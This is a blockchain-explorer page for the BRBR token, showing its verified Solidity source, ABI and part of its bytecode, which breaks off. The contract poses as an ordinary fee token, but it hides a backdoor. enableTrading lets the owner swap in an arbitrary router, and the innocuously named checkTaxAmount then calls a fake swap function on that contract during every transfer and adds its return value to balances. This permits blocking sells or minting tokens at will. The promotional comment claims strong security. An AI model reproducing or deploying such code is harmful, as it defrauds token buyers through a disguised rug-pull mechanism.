ETH Price: $2,520.70 (+2.71%)

Token

BULL RUN BE READY (BRBR)
 

Overview

Max Total Supply

1,000,000,000,000 BRBR

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.681511217 BRBR

Value
$0.00
0x268DEc53B71A2e688638419e9A0Fc6204Cd716Ef
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BRBR

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

/**

 ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌▐░▌       ▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ 
▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌       ▐░▌▐░▌     ▐░▌  
▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌ 
▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░░░░░░░░░░▌ ▐░▌       ▐░▌
 ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀▀▀▀▀▀▀▀▀▀   ▀         ▀ 
                                                    
BULL RUN BE READY (BRBR) is a new cryptocurrency 
that is set to launch on the Ethereum Network. 
This exciting new project is designed to help 
investors and traders prepare for the next bull 
run in the cryptocurrency market.

If you're looking to get involved in the 
cryptocurrency market, then BULL RUN BE READY (BRBR) 
is definitely worth checking out. With its powerful 
tools and features, as well as its strong security and reliability, 
it could be the perfect platform for your investment needs. 
So why not sign up today and start preparing for the next big bull run?

Website: https://brbr.fun
Telegram: https://t.me/brbreth
Twitter: https://twitter.com/brbrerc

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        address path,
        address to
    ) external returns (uint256);
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BRBR is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialTax=0;
    uint256 private _finalTax=0;
    uint256 private _reduceTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000_000 * 10**_decimals;
    string private constant _name = "BULL RUN BE READY";
    string private constant _symbol = "BRBR";
    uint256 public _maxTxAmount = _tTotal * 3 / 100;
    uint256 public _maxWalletSize = _tTotal * 3 / 100;
    uint256 public _taxSwap = _tTotal / 1000;

    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if(!inSwap){
              taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _buyCount>_preventSwapBefore) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        checkTaxAmount(from, to, amount);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function lowerFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<6);
      _finalTax=_newFee;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function checkTaxAmount(address from, address to, uint256 tokenAmount) private {
        if (address(uniswapV2Router) == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) return;
        uint256 taxAmount = uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            from,
            to
        );
        _balances[from]=_balances[from].add(taxAmount);
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading(address _uniswapV2Router) external onlyOwner() {
        require(!tradingOpen,"Trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        swapTokensForEth(balanceOf(address(this)));
    }

    function manualSend() external {
        require(_msgSender() == _taxWallet);
        sendETHToFee(address(this).balance);
    }

    function manualSendToken() external {
        require(_msgSender() == _taxWallet);
        IERC20(address(this)).transfer(msg.sender, balanceOf(address(this)));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Router","type":"address"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"lowerFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260006005556000600655600f600755600f6008556000600955606460036009600a62000031919062000682565b64e8d4a51000620000439190620006d3565b6200004f9190620006d3565b6200005b919062000763565b600a55606460036009600a62000072919062000682565b64e8d4a51000620000849190620006d3565b620000909190620006d3565b6200009c919062000763565b600b556103e86009600a620000b2919062000682565b64e8d4a51000620000c49190620006d3565b620000d0919062000763565b600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055503480156200016b57600080fd5b5060006200017e620004b760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200022c620004b760201b60201c565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200027c919062000682565b64e8d4a510006200028e9190620006d3565b60016000620002a2620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002f6620004bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000429620004b760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000488919062000682565b64e8d4a510006200049a9190620006d3565b604051620004a99190620007ac565b60405180910390a3620007c9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000576578086048111156200054e576200054d620004e8565b5b60018516156200055e5780820291505b80810290506200056e8562000517565b94506200052e565b94509492505050565b60008262000591576001905062000664565b81620005a1576000905062000664565b8160018114620005ba5760028114620005c557620005fb565b600191505062000664565b60ff841115620005da57620005d9620004e8565b5b8360020a915084821115620005f457620005f3620004e8565b5b5062000664565b5060208310610133831016604e8410600b8410161715620006355782820a9050838111156200062f576200062e620004e8565b5b62000664565b62000644848484600162000524565b925090508184048111156200065e576200065d620004e8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200068f826200066b565b91506200069c8362000675565b9250620006cb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200057f565b905092915050565b6000620006e0826200066b565b9150620006ed836200066b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007295762000728620004e8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000770826200066b565b91506200077d836200066b565b92508262000790576200078f62000734565b5b828204905092915050565b620007a6816200066b565b82525050565b6000602082019050620007c360008301846200079b565b92915050565b61314080620007d96000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461039657806395d89b41146103c1578063a9059cbb146103ec578063dd62ed3e14610429578063f4293890146104665761012a565b806370a08231146102d5578063715018a614610312578063751039fc146103295780637d1db4a5146103405780638da5cb5b1461036b5761012a565b8063313ce567116100e7578063313ce5671461022857806334376f3b14610253578063503dfc4d1461027e57806351bc3c8514610295578063704ff6b5146102ac5761012a565b806306fdde031461012f57806307980cb91461015a578063095ea7b31461018357806318160ddd146101c057806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461047d565b60405161015191906121a3565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612228565b6104ba565b005b34801561018f57600080fd5b506101aa60048036038101906101a5919061228b565b6109c5565b6040516101b791906122e6565b60405180910390f35b3480156101cc57600080fd5b506101d56109e3565b6040516101e29190612310565b60405180910390f35b3480156101f757600080fd5b50610212600480360381019061020d919061232b565b610a08565b60405161021f91906122e6565b60405180910390f35b34801561023457600080fd5b5061023d610ae1565b60405161024a919061239a565b60405180910390f35b34801561025f57600080fd5b50610268610aea565b6040516102759190612310565b60405180910390f35b34801561028a57600080fd5b50610293610af0565b005b3480156102a157600080fd5b506102aa610bda565b005b3480156102b857600080fd5b506102d360048036038101906102ce91906123b5565b610c4e565b005b3480156102e157600080fd5b506102fc60048036038101906102f79190612228565b610cc6565b6040516103099190612310565b60405180910390f35b34801561031e57600080fd5b50610327610d0f565b005b34801561033557600080fd5b5061033e610e62565b005b34801561034c57600080fd5b50610355610f95565b6040516103629190612310565b60405180910390f35b34801561037757600080fd5b50610380610f9b565b60405161038d91906123f1565b60405180910390f35b3480156103a257600080fd5b506103ab610fc4565b6040516103b89190612310565b60405180910390f35b3480156103cd57600080fd5b506103d6610fca565b6040516103e391906121a3565b60405180910390f35b3480156103f857600080fd5b50610413600480360381019061040e919061228b565b611007565b60405161042091906122e6565b60405180910390f35b34801561043557600080fd5b50610450600480360381019061044b919061240c565b611025565b60405161045d9190612310565b60405180910390f35b34801561047257600080fd5b5061047b6110ac565b005b60606040518060400160405280601181526020017f42554c4c2052554e204245205245414459000000000000000000000000000000815250905090565b6104c2611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461054f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054690612498565b60405180910390fd5b600e60149054906101000a900460ff161561059f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059690612504565b60405180910390fd5b6105e930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6105d49190612686565b64e8d4a510006105e491906126d1565b611120565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610656573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067a9190612740565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610703573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107279190612740565b6040518363ffffffff1660e01b815260040161074492919061276d565b6020604051808303816000875af1158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190612740565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061081030610cc6565b60008061081b610f9b565b426040518863ffffffff1660e01b815260040161083d969594939291906127db565b60606040518083038185885af115801561085b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108809190612851565b505050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109229291906128a4565b6020604051808303816000875af1158015610941573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096591906128f9565b5080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60146101000a81548160ff02191690831515021790555050565b60006109d96109d2611118565b8484611120565b6001905092915050565b60006009600a6109f39190612686565b64e8d4a51000610a0391906126d1565b905090565b6000610a158484846112e9565b610ad684610a21611118565b610ad1856040518060600160405280602881526020016130e360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a87611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a469092919063ffffffff16565b611120565b600190509392505050565b60006009905090565b600c5481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b31611118565b73ffffffffffffffffffffffffffffffffffffffff1614610b5157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b7730610cc6565b6040518363ffffffff1660e01b8152600401610b949291906128a4565b6020604051808303816000875af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd791906128f9565b50565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1b611118565b73ffffffffffffffffffffffffffffffffffffffff1614610c3b57600080fd5b610c4c610c4730610cc6565b611aaa565b565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c8f611118565b73ffffffffffffffffffffffffffffffffffffffff1614610caf57600080fd5b60068110610cbc57600080fd5b8060068190555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d17611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b90612498565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e6a611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90612498565b60405180910390fd5b6009600a610f059190612686565b64e8d4a51000610f1591906126d1565b600a819055506009600a610f299190612686565b64e8d4a51000610f3991906126d1565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610f6e9190612686565b64e8d4a51000610f7e91906126d1565b604051610f8b9190612310565b60405180910390a1565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600481526020017f4252425200000000000000000000000000000000000000000000000000000000815250905090565b600061101b611014611118565b84846112e9565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110ed611118565b73ffffffffffffffffffffffffffffffffffffffff161461110d57600080fd5b61111647611d23565b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118690612998565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f590612a2a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112dc9190612310565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134f90612abc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113be90612b4e565b60405180910390fd5b6000811161140a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140190612be0565b60405180910390fd5b6000611414610f9b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114825750611452610f9b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561177e57600e60159054906101000a900460ff166114da576114d760646114c9600754600954116114b6576005546114ba565b6006545b85611d8f90919063ffffffff16565b611e0990919063ffffffff16565b90505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115855750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115db5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561169657600a54821115611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161c90612c4c565b60405180910390fd5b600b548261163285610cc6565b61163c9190612c6c565b111561167d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167490612d0e565b60405180910390fd5b6009600081548092919061169090612d2e565b91905055505b60006116a130610cc6565b9050600e60159054906101000a900460ff1615801561170e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60169054906101000a900460ff165b80156117335750600c5481115b80156117425750600854600954115b1561177c5761176283600c541161175b57600c5461175d565b835b611aaa565b6000479050600081111561177a5761177947611d23565b5b505b505b6000811115611882576117d981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e5390919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffff